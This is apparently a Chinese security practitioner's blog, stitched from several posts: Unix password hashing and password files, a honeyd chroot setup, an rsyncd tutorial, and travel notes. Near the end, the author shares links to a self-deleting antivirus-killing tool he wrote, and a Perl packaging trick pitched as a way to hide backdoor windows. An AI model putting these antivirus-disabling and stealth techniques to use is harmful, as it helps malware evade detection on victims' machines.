
昨天刚从汕头回来,有项目,没办法。。。汕头是个淳朴的海港小城,人不多,路也不大,到处都和广州的小巷子路差不多,是个不错的城市(真想在那多呆几天。。。),盛产海鲜还有冷盘、沙锅粥:P,通菜也不错(很嫩),才5块,我一个晚上一连吃了三碟。。。:P;另外,项目实施很顺利,所以住了两个晚上就回来了。。。
不过明天要到福建去做测试,估计为期一个星期,和研发的老汤在一块,又可以向他讨教天镜的知识:)。。。磁力考完试了,整天问我什么时候聚会,没办法,大家都忙。。。等回来吧,回来后好好和大伙聚聚(当然,前提是不忙的情况下:P)。。。
Freebird <freebird@cnfug.org>
1.概述
早期U N I
X系统把用户口令保存在一个纯文本可读的“口令文件”中,这可能在系统管理员注意不到的情况下被截取并暴露。它也可能在一次偶然事件中泄露。
从AT&T UNIX版本6开始,Thompson 等决定采用一个不同的方式: U N I
X口令采用以美国军方M - 2 0
9密码机为模型的基于旋转的算法来进行编码。这种快速算法被证明对穷尽纯文本搜索有弱点并被AT&T
UNIX版本7中出现的更先进的crypt ( )库代替。
现在Unix/Linux将口令以不可读的方式保存在机器中。系统使用名为cryptographic
hash的算法将口令转换成文本字符串。这个串即称为散列或者散列值。使用的算法可以有多种,但它们都是不可逆的,也就是说不能从散列值中恢复出原始口
令。不同的系统,所使用的密码文件以及加密算法都可能不同。管理、维护好这些密码文件是保证系统安全的首要任务。(未特别说明,本文所有命令均在csh下
以root身份运行。)
2.加密算法简介
2.1---crypt()简介---key 和 salt
在Unix/Linux下存在多种散列算法。可以通过库函数crypt()调用这些系统支持的算法。crypt()有key和salt两个参数,并
返回相应的散列值。salt亦即我们常说的“盐”,它只是简单的字符串,它的长度取决于所使用的算法,不同的散列算法它有不同的取值范围。所以,即使是相
同的算法,相同的原始口令,使用不同的salt,也会得到不同的加密口令。salt的目的也就是为了加大口令破解的难度,当我们使用passwd命令来修
改密码时,它会随机选择一个salt. s a l
t使得使用预编译字典对加密口令进行攻击变得更困难。代替为字典中每个单词做一次单独加密,攻击者现在不得不对字典中每个单词的4
0 9 6种排列进行加密和储存。在2 0年前,s a l
t是作为本质上的资源障碍引入的,但现在1 2位s a l
t不再被认为是一种有效的防御方法。
crypt()可以在C程序中直接调用,甚至可以用perl直接调用,(详细信息请man
3 crypt),如下例:
%perl -e 'print crypt("mypass","s2"),"\n"'
s2JQ85JElCMeU
以上两例中s1、s2分别为salt 值,可以看到,相同的口令(上例中为mypass)使用不同的salt将得到不同的散列值。 以上两例使用的都是DES算法,加密后的散列值将salt值作为其前缀。
2.2DES算法
由美国政府和IBM研制。所有的Linux版本和几乎所有的Unix系统都支持DES.DES实际上为一个加密算法,但是crypt(3)将之做为 散列算法。普通的DES算法容许的原始口令长度为8个字符,多余的口令也接受,但是多余部分会被系统自动摒弃。但有些系统(例如HP-UX)使用DES的 多次迭代来解决此问题,这样就可以使用任意长度的密码。但是使用DES加密后的口令为13个字符长。
2.3MD5算法
它是真正的散列算法。允许无限长的口令。它使用的salt空间也别DES算法大得多,所以两口令相同的可能性更小。它也通过调用crypt(3)函
数实现。MD5算法使用的
salt必须以$1$开头,并以$结尾。且salt长度为8个字符。例如要用abcdef为salt
散列mypass,那么如下:
2.4其他算法:
BSDI风格的DES和Blowfish使用也比较广泛,本文将在后面会有讨论。
2.5 BSD使用的加密机制:
各种D E S很长一段时间内一直是U N I X口令加密的主要算法,但还有其他算法可以代替D E S。现代B S D系统提供了一些其他算法的应用范例。缺省情况下, FreeBSD默认使用MD5加密机制,因为MD5没有出口限制,同时也更安全于DES。DES仍然可用,只不过DES存在的目的仅仅是为了和其他 UNIX系统所用的密码的向后兼容性。并且使用DES的系统也能鉴别出MD5,因为MD5所用的Hash也在DES中被使用。
O p e n B S
D走得更远。其开发小组在加拿大,这样就不受美国的出口限制。O p e n B
S D可以被配置成使用传统的UNIX crypt () 、比如“扩充加密”、M D 5或B
l o w f i s h。M D 5由Ronald L.Rivest开发,它在RFC 1321中描述。F r
e e B S D和O p e n B S D中基于M D 5的crypt ( )
产生的口令条目包含版本号、s a l t和哈希口令,彼此之间用“
$”符号分隔。一个M D 5口令看起来如下:
B l o w f i s h由Bruce Schneier在1 9 9 3年开发,是D E
S的一个快速、压缩、简单且免费的替代品]。虽然S c h n e i e r指出B l
o w f i s h不适合产生单向哈希,但O p e n B S D就为这个目的使用它。B
l o w f i s h版的crypt ( )使用1 2 8位s a l
t,足够使最坚定的破坏者泄气。用所有可能的s a l
t值进行预编译的字典将十分昂贵。其最大口令长度为7 2个字符。B l o w f
i s h算法是一个由p
i的十六进制数字组成的固定字符串进行初始化的。初始化的B l o w f i s
h状态由s a l
t和口令进行扩展,该过程重复一定的次数(该数值也被编入口令串中)。最后的B
l o w f i s h口令条目是使用B l o w f i s h状态对字符串“ O r p h e
a n B e h o l d e r S c r y D o u b t”加密6 4次而得到的。
加密的口令条目包含B l o w f i s h版本号、算法重复次数以及s a l
t和哈希口令的连结—每个之间由“ $”字符隔开。一个编码“ 8”将声明2
5 6次循环。一个有效的B l o w f i s h口令看起来如下:
2.6----如何得知你的系统使用的加密算法
方法可以有很多,本人简单列举几个:
方法(1)你可以通过查看
libcrypt[._*]链接到/usr/lib下的哪些库文件来得知你的系统密码所使用的加密算法。如果链接到libcrypt*库,那么使用的为MD5,如果为libdescrypt*,就应该为DES了。具体操作如下:
附:我们强烈建议用户尽可能的使用MD5库而非DES.所以往往也很有必要将一些安装了DES加密算法的系统的DES库转换成MD5库,操作也很简单,只须先删除libcrypt[._*]链接,然后将它们重新链接到相应到md5库。(即以s代替des):
Links DES MD5
----- --- ---
libcrypt.a libdescrypt.a libscrypt.a
libcrypt.so libdescrypt.so libscrypt.so
libcrypt.so.2 libdescrypt.so.2 libscrypt.so.2
libcrypt_p.a libdescrypt_p.a libscrypt_p.a
方法(2)查看/etc/login.conf中的password_format段。其值md5,des,blf分别对应MD5,DES和blowfish.
方法(3)查看密码文件/etc/passwd或者/etc/shadow(BSD
下相应为/etc/master.passwd),根据密码特征得知使用的加密算法。例如以$1$开头的为MD5,以$2$开头的为
blowfish.DES没有明显的特征,但它的密码段相对较短,且均为字母,没有$之类的字符,也很容易辨别!
3.密码文件
3.1概述:
正如大家所熟悉的,Unix下都存在一个/etc/passwd文件以存放用户的密码文件,但是在不同的Unix,Linux,BSD 中它们所起的作用也不尽相同。某些Unix和Linux还使用shadow文件,但FreeBSD中相应的却为/etc/master.passwd文 件。下面将对这些文件进行详细说明。
3.2/etc/passwd文件
传统的Unix中均使用该文件来存放用户密码。该文件以加密的方式保存口令,其中的口令必须通过passwd口令来生成(如果使用NIS,相应的为ypasswd),或者从另一账号中复制过来。
P a s s w d文件中的每个条目看起来如下:
n a m e : c o d e d - p a s s w d : U I D : G I D : u s e r - i n f
o : h o m e - d i r e c t o r y : s h e l l
7个域中的每一个由冒号隔开。空格是不允许的,除非在u s e r- i n f
o域中使用。下面总结了
每个域的含义:
①name—给用户分配的用户名,这不是私有信息。
② c o d e d - p a s s w
d—经过加密的用户口令。如果一个系统管理员需要阻止一个用户登录,则经常用一个星号(
: * :)代替。该域通常不手工编辑。用户应该使用p a s s w
d命令修改他们的口令。值得注意的一点是许多最近的U N I X
产品依赖“影子口令” — 不在/ e t c / p a s s w
d中保存的口令。
③ UID—用户的唯一标识号。习惯上,小于1 0 0的U I
D是为系统帐号保留的。
④ G I
D—用户所属的基本分组。通常它将决定用户创建文件的分组拥有权。在Red
Hat L i n u x中,每个用户帐号被缺省赋予一个唯一分组。
⑤ u s e r- i n f o—习惯上它包括用户的全名。邮件系统和f i n g e
r这样的工具习惯使用该域中的信息。该域也被称作G E C O S域。
⑥
home-directory—该域指明用户的起始目录,它是用户登录进入后的初始工作目录。
⑦ s h e l
l—该域指明用户登录进入后执行的命令解释器所在的路径。有好几种流行的S
h e l l,包括Bourne Shell (/bin/sh),C Shell (/bin/csh),Korn Shell
(/bin/ksh)和Bash Shell( / b i n / b a s h
)。注意可以为用户在该域中赋一个/ b i n / f a l s
e值,这将阻止用户登录。
注意:当编辑/etc/passwd文件来建立一个新账号时,应在密码字段放一个"*",(一些伪用户,例如daemon也如此)以避免用户未经权而使用该账号。直到你为此新建账号设置了真实密码。
3.2/etc/shadow文件
传统上,/ e t c / p a s s w d文件在很大范围内是可读的,因为许多程序需要用它来把U I D转换为用户名。例如,如果不能访问/ e t c / p a s s w d,那么ls -l命令将显示数字U I D而不是用户名。不幸的是,使用口令猜测程序,具有加密口令的可读/ e t c / p a s s w d文件表现出巨大的安全危险。多数近来的U N I X产品支持一个变通方法:影子口令文件。影子口令系统把口令文件分成两部分: / e t c / p a s s w d和影子口令文件。影子口令文件保存加密的口令;/ e t c / p a s s w d中的c o d e d - p a s s w o r d域都被置为“X”或其他替代符号。影子口令文件只能被r o o t或像p a s s w d这样的s e t _ u i d程序在需要合法访问时读取,其他所有非授权用户都被拒绝访问。习惯上,影子口令文件保存在/ e t c / s h a d o w中,尽管有些系统使用可选的路径和文件名。例如B S D系统把加密的口令保存在/ e t c / m a s t e r. p a s s w d。
/etc/shadow剖析
/ e t c / s h a d o w文件包含用户名和加密口令以及下面一些域:
(1) 上一次修改口令的日期,以从1 9 7 0年1月1日开始的天数表示。
(2) 口令在两次修改间的最小天数。口令在建立后必须更改的天数。
(3)口令更改之前向用户发出警告的天数。
(4)口令终止后帐号被禁用的天数。
(5)自从1 9 7 0年1月1日起帐号被禁用的天数。
(6)保留域。
下面是一个Red Hat Linux系统中/ e t c / s h a d o
w文件的例子:
缺省情况下,口令更新并不开启。于是没有口令更改前的最小天数,也没有口令必须更改的日期。口令在99 999天内必须更换的声明几乎无用,因为从现在起几乎还有2 5 0年。在口令终止前7天警告用户的声明也没用,除非选择使用口令更新。在本例中没有声明,还可以在口令终止和帐号禁用之间设置一个时间段。
在可选影子口令功能的系统中,用一条相对简单的命令设置并更新影子口令文件:p w c o n v。该命令在影子口令文件不存在的情况下创建一个新的。如果已存在一个影子文件,p w c o n v把/ e t c / p a s s w d中的新用户添加到/ e t c / s h a d o w中,把/ e t c / p a s s w d中没有的用户从影子文件中删去,并把口令从/ e t c / p a s s w d移到影子文件中。在Red Hat Linux中,p w c o n v把新的/ e t c / p a s s w d文件写到一个名为n p a s s w d的文件中,把新影子文件写到n s h a d o w中。这些新文件需要手工进行重命名或拷贝。用户可以用p w u n c o n v命令返回到不使用影子文件的情况下,它把影子文件中的信息合并回传统的口令文件中。
提示:早期的L i n u x不支持影子口令。
注意:在solaris下,必须使用隐蔽口令文件,在Linux下,如果用户安装了shadow软件也可以使用。
3.2/etc/master.passwd
在BSD下,实际的口令文件是/etc/master.passwd.,这里的密码都是简单的文本数据库,每个用户占一行,行中字段用":"隔开。
/etc/master.passwd权限为0600,而/etc/passwd为0644,这就意味着任何人都人存取/etc/passwd.但只有
root才能读取/etc/master.passwd.
在BSD中,/etc/master.passwd是/etc/passwd的超集,它直接生成/etc/passwd文件。所以在BSD中
/etc/passwd文件总是不需要直接进行编辑。一旦运行vipw,passwd,chfn,chsh或者chpass这些命令,也是对
/etc/master.passwd进行修改。并且修改后会自动生成/etc/passwd.(一同生成的还有由pwd_mkdb工具生成的
/etc/master.passwd的散列表形式。)
平面文件数据库(/etc/passwd,/etc/master.passwd)都只对少量用户合适,用户一多,查找速度就慢。因此在BSD
下相应的还有两个数据库格式的散列表/etc/pwd.db和/etc/spwd.db,其权限也和上面两文件对应。每次运行chfn,passwd等命
令后,pwd_mkdb都会自动修改这两个文件。
提示:若希望根据另一个FreeBSD重新构件用户列表或者从另一个FreeBSD机器移植一个用户列表,只须简单的把新的master.passwd(比如master.passwd.new)文件置于/etc/下(或/
下),然后运行如下命令(注意先备份):
4.BSD下使用“密码过期机制”
“密码过期”意即超过规定的时间密码无效,用户必须在此之前修改密码。要实现此功能,需要修改/etc/login.conf文件,在default段中加入passwordtime=90d(或者2y,6w,24h之类的)如:
注意:在设置passwordtime属性时,passwd会在/etc/master.passwd的第六字段写入最后一次修改密码的时间。
/etc/login.conf在密码及其他设置方面还有很多值得使用的地方,不妨man
看看。
后记
本文只简要的说明了一下Unix/Linux特别是BSD的口令机制,要也因本人水平,不能在此文深入的论述此问题。关于密码的安全性,以及密码破解和任何使用更安全的加密机制等问题,本人会在以后撰文论述。
参考资料:
man 5 passwd
man 3 crypt
man md5
man des
man login.conf
DES-to-MD5-(mini)HOWTO
《Hacking Linux Exposed》
《Unix System Administrator Handbook》
作者简介:
Freebird,姓名:匡萃彪。CNFUG核心成员。Unix/Linux/BSD的狂热追随者,熟悉BSD,Linux,
Solaris,C,Shell。主要研究方向:各种服务器架设、系统和网络安全、内核源码分析以及英文文档翻译。欢迎您通过
freebird@cnfug.org与本人联系。
[操作文]chroot honeyd
writer: demonalex[at]dark2s[dot]org
实验环境:
操作系统:Linux alex5 2.6.5-1.358 #1 Sat May 8 09:04:50 EDT 2004
i686 i686 i386 GNU/Linux
honeyd版本:honeyd_kit-1.0c-a
真实机器:192.168.10.6/24
虚拟蜜罐:192.168.10.101/24
honeyd的主要文件/目录:
[root@alex5 /]# mkdir honeyd
[root@alex5 /]# cd honeyd
[root@alex5 honeyd]# mkdir -p usr/local/sbin
[root@alex5 honeyd]# cd /usr/local/sbin
[root@alex5 sbin]# cp -R honeyd /honeyd/usr/local/sbin
[root@alex5 sbin]# chown -R nobody
/honeyd/usr/local/sbin/honeyd
系统附带文件:
[root@alex5 sbin]# mkdir -p /honeyd/etc
[root@alex5 sbin]# cp /etc/services /honeyd/etc
[root@alex5 sbin]# cp /etc/resolv.conf /honeyd/etc
[root@alex5 sbin]# cp /etc/protocols /honeyd/etc
[root@alex5 sbin]# cp /etc/hosts /honeyd/etc
[root@alex5 sbin]# mkdir -p /honeyd/dev
[root@alex5 sbin]# mknod /honeyd/dev/null c 1 3
[root@alex5 sbin]# mknod /honeyd/dev/tty c 5 0
用户文件:
[root@alex5 sbin]# cp /etc/passwd /honeyd/etc
[root@alex5 sbin]# cp /etc/shadow /honeyd/etc
[root@alex5 sbin]# cp /etc/group /honeyd/etc
日志文件:
[root@alex5 sbin]# mkdir -p /honeyd/var/log/honeyd
[root@alex5 sbin]# touch /honeyd/var/log/honeyd/honeyd
[root@alex5 sbin]# touch /honeyd/var/log/honeyd/services
[root@alex5 sbin]# chown -R nobody /honeyd/var/log/honeyd
arpd需要读写的文件/目录:
[root@alex5 sbin]# mkdir -p /honeyd/var/run
[root@alex5 sbin]# cp /etc/localtime /honeyd/etc
honeyd需要读写的文件/目录:
[root@alex5 sbin]# mknod /honeyd/dev/urandom c 1 9
[root@alex5 sbin]# cp /etc/nsswitch.conf /honeyd/etc
[root@alex5 sbin]# cp /etc/ld.so.cache /honeyd/etc
[root@alex5 sbin]# mkdir -p /honeyd/lib
[root@alex5 sbin]# cp /lib/libnss_files-2.3.3.so
/honeyd/lib/libnss_files.so.2
[root@alex5 sbin]# mkdir -p /honeyd/lib/tls
[root@alex5 sbin]# cp /lib/tls/libc-2.3.3.so
/honeyd/lib/tls/libc.so.6
[root@alex5 sbin]# cp /lib/ld-2.3.3.so
/honeyd/lib/ld-linux.so.2
shell程序:
[root@alex5 sbin]# mkdir -p /honeyd/bin
[root@alex5 sbin]# cp /bin/bash /honeyd/bin/sh
[root@alex5 sbin]# cp /lib/libtermcap.so.2.0.8
/honeyd/lib/libtermcap.so.2
[root@alex5 sbin]# cp /lib/libdl-2.3.3.so
/honeyd/lib/libdl.so.2
start-arpd.sh文件的内容:
#!/bin/sh
set -x
/honeyd/usr/local/sbin/honeyd/arpd 192.168.10.0/24
honeyd.conf文件的内容:
create default
set default personality "Microsoft Windows XP Home Edition"
set default default tcp action reset
set default default udp action reset
set default default icmp action open
add default tcp port 23 proxy 192.168.10.3:23
add default tcp port 80 "sh scripts/win32/win2k/iis.sh $ipsrc
$sport $ipdst $dport"
add default tcp port 139 open
add default tcp port 445 open
add default tcp port 1433 open
add default tcp port 135 open
add default udp port 137 open
add default udp port 138 open
add default udp port 1434 open
bind 192.168.10.101 default
start-honeyd.sh文件的内容:
#!/bin/sh
set -x
/honeyd/usr/local/sbin/honeyd/honeyd -f
/honeyd/usr/local/sbin/honeyd/honeyd.conf -p \
/honeyd/usr/local/sbin/honeyd/nmap.prints -x
/honeyd/usr/local/sbin/honeyd/xprobe2.conf -a \
/honeyd/usr/local/sbin/honeyd/nmap.assoc -0
/honeyd/usr/local/sbin/honeyd/pf.os \
-l /var/log/honeyd/honeyd -s /var/log/honeyd/services
192.168.10.101
建立启动文件:
[root@alex5 sbin]# vi /honeyd/honeyd_start.sh
#!/bin/sh
/usr/local/sbin/honeyd/start-arpd.sh
/usr/local/sbin/honeyd/start-honeyd.sh
[ESC]:wq
[root@alex5 sbin]# chmod a+x /honeyd/honeyd_start.sh
启动honeyd:
[root@alex5 sbin]# chroot /honeyd /honeyd_start.sh
几百年前大虾们就将这东西玩得滚瓜烂熟了,偶现在才玩,郁闷,还是才到能跑的份上,惭愧,在:
http://demonalex.3322.org/honeyd/honeyd.doc
希望各位大虾指导一下:)
12月23日,昨天,是个不错的日子,老地方~~~本次聚会的成员,来自‘五湖四海’(不同的公司,不同的职业,甲方,乙方。。。),但却因为存在相同的爱好而聚在一起(PS:想想8个月前,只有三个人,现在。。。),感怀一下,纪念一下:)
磁力今天要考试,但还是‘上台’讲了两句,谢谢他给大家分享了他对开锁这门“艺术”的理解,也希望他公开一下他的资料。。。(开锁的资料,还有就是那个“会死机的”屏保)。。。:D
BAN和QQ这两天都在指导我如何‘挂马’,谢谢他们了:P;另外啊BAN的“0DAY”我放在QQ群的共享里了:P
同事QQ是个大忙人,居然也抽出时候过来,谢谢他,希望他的新网站越办越火。。。
黄工第一次参加,却给了大家(包括聚会的事宜)不少有建设性的提议,同时感谢他毫无保留地提供专业的技术意见,非常感谢(第一次花‘甲方’的钱,真是过意不去啊。。。=_=b)
老同事启明是聚会的老同志了,谢谢他一直以来的支持,并提供了不少新的技术作参考(CHECKPOINT的安装文档能共享一下就更好了:P),这个就不用多说了:P
简工是第一次来参加聚会吧,希望他能继续支持我们的聚会:)
我的NASL分析还没讲完,惭愧,美中不足。。。检讨一下。。。:(
最后,大道理就没有,还是我和磁力最喜欢的那句:Any thing is HACKING....:)
1)
[root@alex5 root]# ln ./monitor.sh ./aaa.sh
[root@alex5 root]# ls -il monitor.sh
518856 -rwxr-xr-x 2 root root 88 Aug 17 16:08 monitor.sh
[root@alex5 root]# ls -il aaa.sh
518856 -rwxr-xr-x 2 root root 88 Aug 17 16:08 aaa.sh
[root@alex5 root]# ln -s ./monitor.sh ./bbb.sh
[root@alex5 root]# ls -il bbb.sh
519758 lrwxrwxrwx 1 root root 12 Dec 17 02:20 bbb.sh -> ./monitor.sh
[root@alex5 root]# ls -il aaa.sh
518856 -rwxr-xr-x 2 root root 88 Aug 17 16:08 aaa.sh
[root@alex5 root]# ls -il monitor.sh
518856 -rwxr-xr-x 2 root root 88 Aug 17 16:08 monitor.sh
[root@alex5 root]# du -sh bbb.sh
0 bbb.sh
[root@alex5 root]# du -sh aaa.sh
4.0K aaa.sh
[root@alex5 root]# du -sh monitor.sh
4.0K monitor.sh
[root@alex5 root]# file aaa.sh
aaa.sh: Bourne shell script text executable
2)
[root@alex5 root]# ln ./var ./kkk
ln: `./var': hard link not allowed for directory
[root@alex5 root]# ln -s ./var ./kkk
[root@alex5 root]# file ./kkk
./kkk: symbolic link to `./var'
总结:软链接与硬链接都是与原体同步的。软链接可以通过类型符“l”看出来,但硬链接就不可以,只能通过ls -il的inode值相同看出来,而且硬链接的文件与原体大小相同,软链接则不然(由此可见,软链接真的只是个快捷方式)。另外,目录只能用软链接,不能用硬链接。OVER...
[操作文]利用rsyncd做文件共享服务器
writer: demonalex[at]dark2s[dot]org
参考资料:
吴鲁加先生在2001年写的《用rsync对网站进行镜像备份》一文
(http://fanqiang.chinaunix.net/app/rsync/2001-09-08/2729.shtml)
rsyncd.conf配置文件的官方说明文档
(http://samba.anu.edu.au/ftp/rsync/rsyncd.conf.html)
测试环境:
服务端:
RedHat Fedora 2
(Linux alex5 2.6.5-1.358 #1 Sat May 8 09:04:50 EDT 2004 i686 i686 i386 GNU/Linux)
客户端:
WIN2003 + cwrsync2.0.8
安装配置rsyncd:
[root@alex5 root]# cd /usr/local/sbin
[root@alex5 sbin]# wget http://samba.anu.edu.au/ftp/rsync/rsync-2.6.9.tar.gz
[root@alex5 sbin]# tar -zxvf rsync-2.6.9.tar.gz
[root@alex5 sbin]# cd rsync-2.6.9
[root@alex5 rsync-2.6.9]# ./configure && make && make install
安装过程完成,执行程序在/usr/local/bin/rsync,主配置文件的路径为/etc/rsyncd.conf,默认这个
主配置文件是不存在的,若要启动rsyncd服务的话就需要手工新建这个文件了:
[root@alex5 rsync-2.6.9]# vi /etc/rsyncd.conf
--------------------------------------
uid = nobody #进程宿主UID
gid = nobody #进程宿主GID
max connections = 4 #最大连接数
use chroot = no #不使用CHROOT
log file = /var/log/rsyncd.log #日志文件
pid file = /var/run/rsyncd.pid #PID文件
lock file = /var/run/rsyncd.lock #这个LOCK文件用于上面的max connections
secrets file = /etc/rsyncd.pwd #帐号文件
[share] #第一个虚拟目录,它是匿名的,没有auth users参数
path = /share #映射的实际目录
comment = Surprise Here!!! #注释
ignore errors #忽略错误
read only = no #设置此虚拟可写
list = yes #允许LIST
[secret] #一个需要认证的虚拟目录,允许访问的用户是hacker
path = /secret #映射的实际目录
comment = Do not want to watch!!! #注释
ignore errors #忽略错误
read only = no #设置此虚拟可写
list = yes #允许LIST
auth users = hacker #此虚拟目录的认证访问用户为hacker
--------------------------------------
[Esc]+ZZ
[root@alex5 rsync-2.6.9]# vi /etc/rsyncd.pwd
++++++++++++++++++++++++++++++++++++++
hacker:xxxxxx
++++++++++++++++++++++++++++++++++++++
[Esc]+ZZ
hacker是帐号,xxxxxx是密码。
[root@alex5 rsync-2.6.9]# chmod 600 /etc/rsyncd.pwd
配置过程完成,启动rsyncd:
[root@alex5 rsync-2.6.9]# /usr/local/bin/rsync --daemon
启动后我们可以通过netstat发现rsyncd:
[root@alex5 rsync-2.6.9]# netstat -antep|grep rsync
tcp 0 0 0.0.0.0:873 0.0.0.0:* LISTEN 0 50043 31978/rsync
在/etc/services中我们修改rsyncd使用的传输层端口,默认是TCP873。最后把‘程序启动’写入预处理:
[root@alex5 rsync-2.6.9]# echo /usr/local/bin/rsync --daemon>>/etc/rc.d/rc.local
客户端操作:
首先说说WIN32下的操作,MS WINDOWS默认没有rsync客户端,需要另外安装,程序名为cwrsync,是个
在cygwin下编译的rsync(我放在:http://demonalex.3322.org/download/nix/rsync/cwRsync_2.0.8_
Installer.zip),解压安装后:
2006-12-10 17:13 <DIR> .
2006-12-10 17:13 <DIR> ..
2006-12-10 17:13 <DIR> bin
2006-03-13 17:57 1,941 cwrsync.cmd
2006-12-10 17:13 <DIR> doc
2006-04-24 05:36 34,287 license.txt
2006-12-10 17:13 44,048 uninstall.exe
所有执行程序都在bin目录下,我们只需要用到rsync.exe这个程序就可以了,最后记得把bin这个目录
加入PATH环境变量。
LIST远程rsyncd服务上的文件/目录是很简单的,例子-查看(LIST)share与secret目录:
***************************************
C:\>rsync rsync://demonalex.3322.org
share Surprise Here!!!
secret Do not want to watch!!!
C:\>rsync rsync://demonalex.3322.org/share
drwxrwxrwx 4096 2006/12/10 20:11:53 .
-rwxrwxrwx 733222912 2006/09/12 12:46:40 UFC.Ultimate.Knockouts.Combo.Xvid.Dvd
rip.CD2.avi
-rwx------ 811841 2006/12/10 17:40:12 rsync-2.6.9.tar.gz
-rwx------ 33386 2006/12/10 19:10:45 rsyncd.conf.html
C:\>rsync rsync://hacker@demonalex.3322.org/secret
Password:
drwxrwxrwx 4096 2006/12/10 18:42:13 .
***************************************
rsync的文件传输机制是:
rsync 源对象 目标对象
例子-上传与下载aaa.txt:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
C:\>rsync aaa.txt rsync://demonalex.3322.org/share
C:\>rsync rsync://demonalex.3322.org/share
drwxrwxrwx 4096 2006/12/11 02:32:40 .
-rwxrwxrwx 733222912 2006/09/12 12:46:40 UFC.Ultimate.Knockouts.Combo.Xvid.Dvd
rip.CD2.avi
-rwx------ 3 2006/12/11 02:32:40 aaa.txt
-rwx------ 811841 2006/12/10 17:40:12 rsync-2.6.9.tar.gz
-rwx------ 33386 2006/12/10 19:10:45 rsyncd.conf.html
C:\>f:
F:\>dir/w aaa.txt
驱动器 F 中的卷是 BACKUP
卷的序列号是 BC13-5202
F:\ 的目录
找不到文件
F:\>rsync rsync://demonalex.3322.org/share/aaa.txt /
F:\>dir aaa.txt
驱动器 F 中的卷是 BACKUP
卷的序列号是 BC13-5202
F:\ 的目录
2006-12-11 02:17 3 aaa.txt
1 个文件 3 字节
0 个目录 9,771,294,720 可用字节
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
客户端若是在*NIX系统的话,直接使用rsync这个程序就可以了,操作同上。
小经验:
当出现下面的情况:
[root@alex5 /]# rsync rsync://root@127.0.0.1/root
Password:
rsync: link_stat "." (in root) failed: Permission denied (13)
rsync error: some files could not be transferred (code 23) at main.c(1385) [receiver=2.6.9]
据说原因可能有多种,但我测试过,出现这样问题的原因是我要同步的这个root目录在掩位的最后一位
不是r-x或以上的权限,也就是说root这个目录一定要等于或大于drwxr-xr-x才能玩同步。
上周呆在佛山做服务,结果惹上了病回来(不是XING病哦),泻死偶了。。。下周一还要去。。。
下周3-4在广州做个技术培训,又能见到实验室的同事了(很侥幸,上次见到了大名鼎鼎的村长@0x557与中科院博士后梁博士,他们太BT了。。。)。。。
佛山是个不错的地方,老实说,有时我真想常呆那里,客户很好,也很热情:
接头的刘小姐人不错,工作起来的魄力就像女超人一样,还是中大的硕士,偶像。。。何工,安全知识不一般,能和我扯漏洞扫描器扯两个小时的客户。。。文工,什么都不说,他的口头禅:一点技术含量都没有(光看这句就杀死人了。。。)。。。而且佛山是我见过那么多个地市里对NETSCREEN防火墙那么熟悉的地市(他们的防火墙割接都是自己做,牛。。。)。。。下周再去‘会会’他们吧:)
两天前在客户那里演示SQL注入,其中有位“扫描器爱好者”向我提到是否能使用PROXY,其实Acunetix Web Vulnerability Scanner这样的大软件一早就就有这功能了(不过nsfocus的极光与venus的天镜都是没这功能的。。。感觉上这功能应该是会HAX0R准备的吧?!),所以我就加了这组件上我的“get”里,使用者可以选择使用PROXY或否,新版本号1.9,源码结构没大变化,只是加了个组件的方法而已。。。希望有用处,下载地址:
http://demonalex.3322.org/get1_9.rar
一直有朋友问我PERL程序如何在运行时不显示CMD窗体,其实这种应用只不过是为了满足大家用PERL写后门或是其他什么东西时不会弹出个奇怪的CMD窗体而已。。。我一直都认为这能在PERL解释器加载项又或是程序调用中解决这问题,直到最近要调试“黄老太”时才开始考虑这问题,最后找到的解决方案是在perlapp程序编译时解决的,例如我现在写个删除c:\ccc.txt的程序:
#!/bin/perl -w
use Win32::FileOp;
Win32::FileOp->Delete("c:\ccc.txt");
exit 1;
默认的话会跳出个CMD(闪一下吧。。。),我把这个文件保存在c:\test.pl,用perlapp编译,格式:
C:\>perlapp -f --gui test.pl
PerlApp 6.0.2 build 203380
Copyright (C) 1998-2005 ActiveState Corp. All rights reserved.
ActiveState is a division of Sophos Plc.
Commercial license for demonalex <demonalex@gzpia.com>
Created 'test.exe'
现在我们在“开始”-》“运行”下输入“c:\test.exe”,回车,嘿嘿,现在屁都不会放一个了,在看看我们原来存在c:\ccc.txt还在不在?:P
今日为广州电信的骨干机房上两台公司的IDS设备,过程中出现了些问题(可能是我水平不够的原因),于是接二连三地给北京研发打了N个电话(估计不下20个),结果最后我只能在他们的言语中FEEL他们对我的“不满”,可惜不能FACE TO FACE地“联络”一下感情,估计已经是被“讨厌”了,甚至放进了黑名单之列。。。无它的,我的准备不够吧。。。
另外前天的聚会上与磁力、啊BAN讨论了一下,觉得是否将“黄老太”的思路‘逆向’一下,改为能透过网络传播的杀病毒工具。。。其实以前也有这样的先例,只是目前有些病毒太猖狂了。。。:P
下个星期部门组织到杭州去内部培训(其实玩的成分更多一些),但可惜偶又要在周末参加学校的期末考,没机会了,只能等下一次吧。。。不能面见北京分部的达人,尤觉得可惜。。。
另外,最近在网上发现了有同志为偶的烂页做了个镜像,谢谢他,地址在:http://www.4lu.cn/demonalex/
黄老太v1.8
1)使用了底层的KILL接口(用哪个API就不说了:P)
2)有自杀功能,运行后自动删除自身
3)目前只支持NT及以上版本
4)只支持杀KV-江民。。。
5)速度还是慢。。。
下载:
http://www.i170.com/attach/515E5176-2B6A-4457-B76D-2E4D332B89FF
最后,发现查/杀毒软件是很顽固的。。。有时还杀不了(正常是能杀的)。。。有待考究。。。
最近买了本《黑客X档案》(2006年11月刊)回来看,看到了个关于可以在内存里“杀死”杀毒软件的工具---TechKiller(http://www.77169.org/Soft/HTML/17518.html),正好客户也向我问起这类型的东西。。。虽然思路已经很久了,但没有实施过,所以最近写了个模拟的东西出来,取名“黄老太”(因为写时觉得‘她’的工作原理有点像大超市---“百佳”很久以前的代言人“黄老太”有点相似),目前功能还很弱:
1)只能杀KV--江民的杀毒软件
2)速度比较慢[PS:还没优化。。。]
3)杀进程时还沿用WINNT的ntsd程序[PS:还没有空找底层接口做‘杀’进程],所以杀进程时大家可能会看到个窗口一闪而过。。。
因此有待优化,下面付上“黄老太”---hlt.exe version 1.0
http://www.i170.com/attach/5C548FD3-FCB9-4629-B6EF-3156A23F761D
不知道,不清楚。。。上周黑白颠倒,不知道多少个昼日就到周末。。。
